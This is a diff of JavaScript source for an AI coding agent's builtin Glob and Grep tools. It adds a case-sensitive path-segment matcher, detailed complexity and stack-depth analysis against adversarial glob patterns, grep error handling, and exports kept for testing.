+ * |reachable|) = O(N²) worst case, which is exactly what `65831e075` closed
2804
+ * (12.96s for 20×`{*a,*b}` against a 5000-char name, down to 9.41ms after).
2805
+ * Because `advanceToken` commutes with set union for every token type (see
2806
+ * its own doc), this batched cost is paid ONCE per token regardless of brace
2807
+ * nesting shape, and total token count across a whole segment (leaves plus
2808
+ * `alt` nodes, nested or chained) is bounded by that segment's own length —
2809
+ * so one `segmentMatches` call is O(segment length × N), and summed across a
2810
+ * pattern's segments, one `caseCheckPasses` call is O(P × N). Brace
2811
+ * alternatives inside a `**`-adjacent segment, or a segment sitting between
2812
+ * two `**`s, are ordinary segments to this accounting — `**` itself costs no
2813
+ * per-character work at all (`CASE_CHECK_GLOBSTAR` accepts any already-real
2814
+ * segment unconditionally). Across all M candidates: O(M × P × N). #7901 —
2815
+ * `walkGlob`'s own I/O is cheaper than this bound needs: each real directory
2816
+ * is `opendir`'d exactly ONCE regardless of how many entries it contains
2817
+ * (unlike the pre-#7901 `realSegmentNames`, deleted by this fix, which
2818
+ * `readdir`'d per PATH SEGMENT of every candidate — cached, but still
2819
+ * O(M × D) amortized); the walk's directory-open cost is O(number of real
2820
+ * directories under `realRoot` that are actually visited), which this
2821
+ * accounting does not need to charge against the matcher's own bound at all.
2822
+ *
2823
+ * TOTAL, under the complexity cap: O(P) one-time parse + O(M × P × N) match —
2824
+ * polynomial in every one of P, N, D, M, with no term left unbounded by an
2825
+ * attacker-controlled input.
2826
+ *
2827
+ * WHAT THE TIME BOUND DOES NOT COVER: `parseSegmentTokens` (parse) and
2828
+ * `advanceToken`/`advanceTokens` (match, the `alt` branch) are RECURSIVE, one
2829
+ * JS call frame per brace-nesting level, with no depth check of their own —
2830
+ * a CPU-cheap but deep enough pattern overflows the call stack
2831
+ * (`RangeError: Maximum call stack size exceeded`) before it overflows any
2832
+ * time budget. Measured on Node 22.23.2: parse survives to ~depth 5,505,
2833
+ * match only to ~depth 2,000 (fewer, shallower frames per level in the
2834
+ * mutually-recursive `advanceToken`/`advanceTokens` pair) — both far below
2835
+ * what P ≤ 2,000-with-no-depth-cap could otherwise reach, and both
2836
+ * environment-dependent (however much stack the caller already used before
2837
+ * reaching here), which is exactly why `globPatternComplexityReason`'s 32-
2838
+ * level depth cap exists as a SEPARATE check from the length cap rather than
2839
+ * relying on length alone to keep depth incidentally low.
2840
+ */
2841
+
2842
+ /**
2843
+ * #7355 — compile a whole Glob pattern into the pieces {@link caseCheckPasses}
2844
+ * needs: the pattern has no `/` inside a segment (patterns are always
2845
+ * `/`-delimited — `\` is rejected upstream), so it is split on `/` and each
2846
+ * segment compiled independently via {@link parseSegmentTokens}. A `**`
2847
+ * segment compiles to {@link CASE_CHECK_GLOBSTAR} instead of a token array —
2848
+ * it matches zero or more REAL path segments, which are, by construction,
2849
+ * always real Dirent names (a `**` carries no literal text of its own to
2850
+ * mismatch), so segments it absorbs need no case check at all.
2851
+ *
2852
+ * Any number of `**` segments is supported: {@link caseCheckPasses} aligns
2853
+ * `matchers` against a match's real segments with the standard array
2854
+ * wildcard-matching DP (the same shape as string wildcard matching, just one
2855
+ * path segment at a time instead of one character at a time), so it is never
2856
+ * ambiguous which real segments a `**` absorbed in the sense that matters
2857
+ * here — the DP considers every split and accepts if ANY of them makes the
2858
+ * whole pattern match. An earlier version special-cased "at most one `**`"
2859
+ * and failed closed (rejected every match) for two or more, which silently
2860
+ * dropped every match — including already-correctly-cased ones — for an
2861
+ * ordinary pattern shape like `packages/**\/src/**\/*.test.js`; verified
2862
+ * against origin/main pre-#7355 that the identical fixture returned both
2863
+ * matches there, so this was a regression #7355 introduced, not a pre-existing
2864
+ * limitation worth keeping.
2865
+ *
2866
+ * Empty and `.` segments are dropped before compiling: `fs.glob` normalizes
2867
+ * both away in what it actually returns (measured: `./src/*.ts` yields a
2868
+ * Dirent whose name/parentPath never mention the leading `.`; same for a
2869
+ * `.` in the middle, e.g. `src/./x.ts`, or an empty segment from `src//x.ts`)
2870
+ * — it echoes neither a `.` component nor an empty one in any match. Compiling
2871
+ * the pattern's OWN segment list unfiltered made `./src/*.ts` (3 segments:
2872
+ * `.`, `src`, `*.ts`) impossible to align with the real match's 2 segments
2873
+ * (`src`, `x.ts`), failing every match closed. `./`-prefixed patterns are
2874
+ * explicitly allowed (`globPatternEscapeReason` has no rule against a bare
2875
+ * `.` segment), so this was a real regression, not a theoretical one —
2876
+ * verified against origin/main pre-#7355 that `./src/*.ts` matched there.
2877
+ */
2878
+ function compileCaseCheck(pattern) {
2879
+ const patSegs = pattern.split('/').filter((s) => s !== '' && s !== '.')
2880
+ const matchers = patSegs.map((s) => (s === '**' ? CASE_CHECK_GLOBSTAR : parseSegmentTokens(s)))
2881
+ return { matchers }
2882
+ }
2883
+
2884
+ /**
2885
+ * Test a {@link compileCaseCheck} result against a match's REAL segment names,
2886
+ * via the classic wildcard-matching DP over arrays (not strings): `dp[j]` is
2887
+ * true when the matchers processed so far can align with the first `j` real
2888
+ * segments. A literal matcher consumes exactly one real segment (case-
2889
+ * sensitively, via {@link segmentMatches} — see its doc and
2890
+ * {@link parseSegmentTokens}'s for why this is a token-array DP and not a
2891
+ * `RegExp`); a {@link CASE_CHECK_GLOBSTAR} matcher can consume any number
2892
+ * (0..j), computed as a running OR (prefix-OR) rather than an inner loop.
2893
+ */
2894
+ function caseCheckPasses(check, realSegments) {
2895
+ const { matchers } = check
2896
+ const n = realSegments.length
2897
+ let dp = new Array(n + 1).fill(false)
2898
+ dp[0] = true
2899
+ for (const matcher of matchers) {
2900
+ const next = new Array(n + 1).fill(false)
2901
+ if (matcher === CASE_CHECK_GLOBSTAR) {
2902
+ let seenTrue = false
2903
+ for (let j = 0; j <= n; j++) {
2904
+ seenTrue = seenTrue || dp[j]
2905
+ next[j] = seenTrue
2906
+ }
2907
+ } else {
2908
+ for (let j = 1; j <= n; j++) {
2909
+ next[j] = dp[j - 1] && segmentMatches(matcher, realSegments[j - 1])
2910
+ }
2911
+ }
2912
+ dp = next
2913
+ }
2914
+ return dp[n]
2915
+ }
2916
+
2917
+ /**
2918
+ * The leading run of LITERAL directory segments in a glob pattern — the part
2919
+ * the caller named outright rather than asked the matcher to discover.
2920
+ *
2921
+ * `node_modules/**` → `node_modules`; `src/**\/*.ts` → `src`; `*.ts` → ''.
2922
+ * The final segment is excluded: it is the basename, and confinement of the
2923
+ * matches themselves covers it.
2924
+ */
2925
+ function literalDirPrefix(pattern) {
2926
+ const segments = pattern.split('/')
2927
+ const literal = []
2928
+ for (let i = 0; i < segments.length - 1; i++) {
2929
+ if (/[*?[\]{}]/.test(segments[i])) break
2930
+ literal.push(segments[i])
2931
+ }
2932
+ return literal.join('/')
284
2933
  }
285
2934
 
286
2935
  async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
@@ -295,8 +2944,8 @@ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
295
2944
  // under grep (Copilot review on #4060). executeBash captures the exit code
296
2945
  // (doesn't reject), so no `; true` mask is needed here. Builders are shared
297
2946
  // with the docker-byok container Grep (#5882).
298
- const { ci, ln, globArg } = buildGrepArgs(input)
299
- const cmd = buildGrepCommand({ pattern, root: realRoot, ci, ln, globArg })
2947
+ const { ci, ln, globArg, grepGlob } = buildGrepArgs(input)
2948
+ const cmd = buildGrepCommand({ pattern, root: realRoot, ci, ln, globArg, grepGlob })
300
2949
 
301
2950
  const result = await executeBash({
302
2951
  command: cmd,
@@ -308,8 +2957,10 @@ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
308
2957
  // grep/rg both return exit 1 on "no matches" — that's not an error
309
2958
  // for our purposes. Only exit 2+ or stderr-without-stdout signals an
310
2959
  // actual failure.
311
- if (result.stderr && !result.stdout && result.exitCode !== 1) {
312
- return { content: `Grep failed: ${result.stderr.trim()}`, isError: true }
2960
+ // Informational notes (a skipped unreadable directory) are not failures (#7981).
2961
+ const grepErrors = splitGrepNotes(result.stderr).errors
2962
+ if (grepErrors && !result.stdout && result.exitCode !== 1) {
2963
+ return { content: `Grep failed: ${grepErrors}`, isError: true }
313
2964
  }
314
2965
  if (!result.stdout) return { content: `No matches for ${pattern}`, isError: false }
315
2966
  return { content: result.stdout, isError: false }
@@ -818,3 +3469,68 @@ function runTodoWrite({ input, todoStore }) {
818
3469
 
819
3470
  const TODOWRITE_MAX_ITEMS_RENDERED = 100
820
3471
  const TODOWRITE_MAX_CONTENT_RENDERED = 200
3472
+
3473
+ // Exported for testing — #7898: proving `caseCheckPasses` stays polynomial on
3474
+ // an adversarial pattern is cheapest called DIRECTLY, without the filesystem
3475
+ // I/O a full `executeBuiltinTool` Glob call carries.
3476
+ //
3477
+ // `caseCheckPasses` is itself DEAD CODE in production since #7901/#7910
3478
+ // replaced `fs.glob` with `walkGlob` on the host path — `runGlob` never calls
3479
+ // it — so a direct-call test of `caseCheckPasses` alone proves the SHARED
3480
+ // per-segment matcher (`segmentMatches`/`advanceToken`) is fast when called
3481
+ // through `caseCheckPasses`'s path-level wrapper, but says nothing about the
3482
+ // function that actually ships: `walkGlob`, which calls `segmentMatches`
3483
+ // itself, once per real directory entry `opendir` reads. `segmentMatches` is
3484
+ // exported alongside it for exactly this reason (#7910 review round 2) — a
3485
+ // direct call proves the LIVE matcher stays fast at the SAME full adversarial
3486
+ // scale (a 5000-char synthetic string) `caseCheckPasses`'s own tests use,
3487
+ // which an integration-level `executeBuiltinTool` call cannot: a real
3488
+ // filename cannot be 5000+ bytes (most filesystems cap a single path
3489
+ // component around 255), and at a filesystem-safe scale the absolute-time
3490
+ // gap between O(n) and a REGRESSED O(n²) is too small relative to
3491
+ // `executeBuiltinTool`'s own overhead (root resolution, the deadline race,
3492
+ // confinement) to assert reliably — measured directly: the exact mutation
3493
+ // that makes the 5000-char direct-call test take 69.5s made a 250-char
3494
+ // on-disk equivalent take only 120ms, comfortably under ANY CI-safe budget.
3495
+ // The integration-level tests this suite keeps therefore assert CORRECTNESS
3496
+ // (matched/not-matched) and basic non-hang sanity through the real dispatch,
3497
+ // not a tight complexity bound — that proof lives in the direct calls, at
3498
+ // full scale, where the gap is actually measurable.
3499
+ //
3500
+ // `walkGlob` (#7901) is exported for a different reason: `runGlob`'s own
3501
+ // deadline/abort RACE (`Promise.race([collect, deadlineReached])`) resolves
3502
+ // via `deadlineReached` — a timer/abort callback independent of whether the
3503
+ // walk itself ever notices `state.stop` — so a `executeBuiltinTool`-level
3504
+ // test proves the TOOL CALL returns promptly on abort, but NOT that the walk
3505
+ // stops generating filesystem work in the background afterward, which is the
3506
+ // actual #7356 defect (an orphaned walk left running, and running CPU/RSS,
3507
+ // after the tool result was already sent). Calling `walkGlob` directly and
3508
+ // timing how long its OWN promise takes to settle after `state.stop` is set
3509
+ // proves that property precisely. `expandBraces` (#7918 review) is exported
3510
+ // for the same reason: its cost bound is a property of the function itself,
3511
+ // and timing it through a whole Glob call would fold in the walk.
3512
+ //
3513
+ // `parseRangeGroup`/`hasRangeBrace` (#7951) are exported for the same
3514
+ // direct-call, full-scale reason as `expandBraces`: the range arithmetic
3515
+ // (padding width, step direction, the zero-step refusal) is a property of
3516
+ // `parseRangeGroup` alone, and `hasRangeBrace`'s gate shape needs its own
3517
+ // proof independent of `expandBraces` ever running. `hostBraceDepthExceeded`
3518
+ // (#7951 review) likewise: it runs over every expanded pattern before the
3519
+ // walk, so its own cost is timed directly, apart from the walk.
3520
+ export {
3521
+ compileCaseCheck,
3522
+ caseCheckPasses,
3523
+ segmentMatches,
3524
+ walkGlob,
3525
+ acquireGlobWalkSlot,
3526
+ globWalkSlotStats,
3527
+ warnIfGlobWalksStuck,
3528
+ __setGlobLimiterClockForTest,
3529
+ __setGlobWalkStartHookForTest,
3530
+ expandBraces,
3531
+ GLOB_BRACE_EXPANSION_CAP,
3532
+ parseRangeGroup,
3533
+ hasRangeBrace,
3534
+ hostBraceDepthExceeded,
3535
+ isVerifiedDirIdentity,
3536
+ }